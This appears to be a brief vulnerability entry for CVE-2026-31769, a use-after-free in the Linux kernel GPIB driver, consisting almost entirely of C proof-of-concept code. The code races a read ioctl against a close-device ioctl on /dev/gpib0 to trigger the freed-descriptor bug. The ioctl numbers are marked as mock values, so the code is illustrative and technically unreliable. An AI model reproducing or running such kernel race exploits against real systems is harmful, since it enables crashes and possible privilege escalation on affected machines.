CVE-2026-31769 Linux内核GPIB驱动释放后重用漏洞

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <pthread.h> // Mock IOCTL definitions for the GPIB driver #define IBRD 0x1 #define IBCLOSEDEV 0x2 int fd; volatile int running = 1; // Thread function to continuously trigger the read operation (IBRD) // This attempts to use the descriptor while the mutex is released internally. void* thread_read(void* arg) { char buffer[1024]; while (running) { // Issue IBRD ioctl which releases big_gpib_mutex during operation ioctl(fd, IBRD, buffer); } return NULL; } // Thread function to trigger the close operation (IBCLOSEDEV) // This attempts to free the descriptor while the other thread is using it. void* thread_close(void* arg) { while (running) { // Issue IBCLOSEDEV ioctl to potentially free the descriptor ioctl(fd, IBCLOSEDEV, 0); // In a real scenario, we might need to re-open the device // to continue the race, but this illustrates the concept. } return NULL; } int main() { // Open the GPIB device node fd = open("/dev/gpib0", O_RDWR); if (fd < 0) { perror("open"); return 1; } printf("Starting race condition on CVE-2026-31769...\n"); pthread_t t1, t2; pthread_create(&t1, NULL, thread_read, NULL); pthread_create(&t2, NULL, thread_close, NULL); // Let the race run for a few seconds sleep(5); running = 0; pthread_join(t1, NULL); pthread_join(t2, NULL); close(fd); printf("Exploit attempt finished.\n"); return 0; }